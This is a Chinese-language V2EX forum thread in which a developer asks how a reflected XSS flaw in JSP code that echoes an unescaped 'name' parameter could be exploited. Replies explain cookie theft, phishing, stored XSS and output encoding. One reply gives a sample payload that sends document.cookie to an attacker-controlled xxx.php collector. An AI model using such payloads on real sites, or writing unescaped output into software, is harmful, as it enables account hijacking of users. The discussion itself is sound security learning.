关于跨站脚本攻击( XSS ),这种情况危险性在哪里?

2017-09-04 12:39:09 +08:00
 nikoo
今天程序被检测出有漏洞,面临跨站脚本攻击( XSS )的风险

具体代码是:
String name=request.getParameter("name");//获取 name 参数
out.println(name);//直接打印 name 参数到前端

是的,获得的 name 参数未做任何过滤直接打印在前端页面
但是 name 参数不涉及任何数据库储存以及后台程序操作,就是上面这两行而已,仅仅是获取 GET/POST 来的 name 参数并打印在提交者的前台页面

漏洞提交者给出 xxx.jsp?name=<script>alert(1)</script> 这样的 URL 来证明漏洞存在,访问该 URL 也的确在前台直接执行了 alert(1) 的 JS 代码。

当然不是为这种考虑不周不安全的代码辩护
只是想知道,这种情况下风险到底在哪里?具体这个漏洞又能如何被利用呢?
3192 次点击
所在节点    问与答
22 条回复
torbrowserbridge
2017-09-04 12:39:49 +08:00
cookie
nikoo
2017-09-04 12:42:03 +08:00
@torbrowserbridge 谢谢,这段代码只能是提交者自己执行
torbrowserbridge
2017-09-04 12:43:53 +08:00
检测程序又不知道是不是只能自己执行。
skyleft
2017-09-04 12:45:24 +08:00
xxx.jsp?name=<script>location.href=xxx.php?xx=document.cookie</script> 把这个 url 发给网站的其他用户 然后自己写个 xxx.php 收集登录 cookie 然后登录其他用户的账号 干什么什么
limhiaoing
2017-09-04 12:45:51 +08:00
构造 url 发给其他人打开。
Zzzzzzzzz
2017-09-04 12:46:21 +08:00
偷 cookie

黑产中间跳转页
torbrowserbridge
2017-09-04 12:46:29 +08:00
@skyleft 🤤
nikoo
2017-09-04 12:47:46 +08:00
@torbrowserbridge @skyleft @limhiaoing 非常感谢!

构造非法 URL 并诱导用户点开盗取 cookie,的确是这样!

这是唯一的风险吗?还有没有其他的利用可能?
gstqc
2017-09-04 12:54:21 +08:00
还有存储型的,可以改网站代码,这样任何访问页面的人都有可能中招。
nikoo
2017-09-04 12:55:49 +08:00
@gstqc 谢谢

也就是非法代码如果不被储存的话,只能通过诱导点击实现攻击?
am241
2017-09-04 13:00:23 +08:00
能以用户的身份提交,获取数据

极端情况下能搞出 xss 蠕虫
gstqc
2017-09-04 13:01:08 +08:00
@nikoo 对,这种叫做反射型。
存储型比较常见的方式是论坛、评论区等,当然任何接受用户输入并存储的都有可能存在。
tony1016
2017-09-04 13:10:30 +08:00
轻者偷你用户的账户信息,重者把访问你的用户变成肉鸡
shiji
2017-09-04 13:17:08 +08:00
@torbrowserbridge
@skyleft
@limhiaoing
那如果重要 cookie 开启了 httponly,这是不是就没什么用了
lmfx89
2017-09-04 13:19:08 +08:00
@shiji 那就退而求其次重定向到钓鱼的登录页面。
maplerecall
2017-09-04 13:21:40 +08:00
可以伪装成用户做任何事情,比如肆意盗取、修改数据,发表广告、不正当言论等等……

其实只要把输出到页面上的外部内容都转义一下就好,也就两三行代码的事情
Mutoo
2017-09-04 13:48:00 +08:00
反射型的 XXS 有很多玩法,一个不容易注意到的就是利用你的域名的权威性做欺诈。
设想如果 some.qq.com/page/?=xxs-here 存在 xxs 利用漏洞,那就可以在这个页面做钓鱼,更具欺骗性。
yyfearth
2017-09-04 15:18:17 +08:00
XSS 攻击本身危害可能并不是很大 但是往往是其它类型攻击的入口 如果是存储型 可以影响很多其它用户 就算是纯粹的反射型也可以诱导用户点击 然后注入脚本 盗取 cookie 或者 直接控制用户 代替用户做任何事情

举个例子 如果你是管理员 有人给你发钓鱼邮件 里面有伪装过的 XSS 注入脚本的链接 你点击后 由于你已经管理员账号登陆 可以盗取你的 cookie 就算是 cookie 不可读 也可以用你管理员的身份 创建新管理员账号 或者直接就是破坏 反正你能做的事 注入的脚本也可以

在比如 如果是聊天系统或者可以发送内容的系统 一个人中 XSS 注入脚本就可以利用这个人登陆的账号公开或者对其他账号发送注入的链接达到传播的目的

防范也很简单 基本上就是 根据是 html 内容还是属性进行编码就可以解决
Gn
2017-09-04 17:59:14 +08:00
获取 Cookie 算是其一,还可以构造一个登录表单,样式仿造你的网站,这样用户单看域名就很难防范。
66beta
2017-09-04 18:02:18 +08:00
不用想太多,能执行 JS 就很危险

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/388000

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX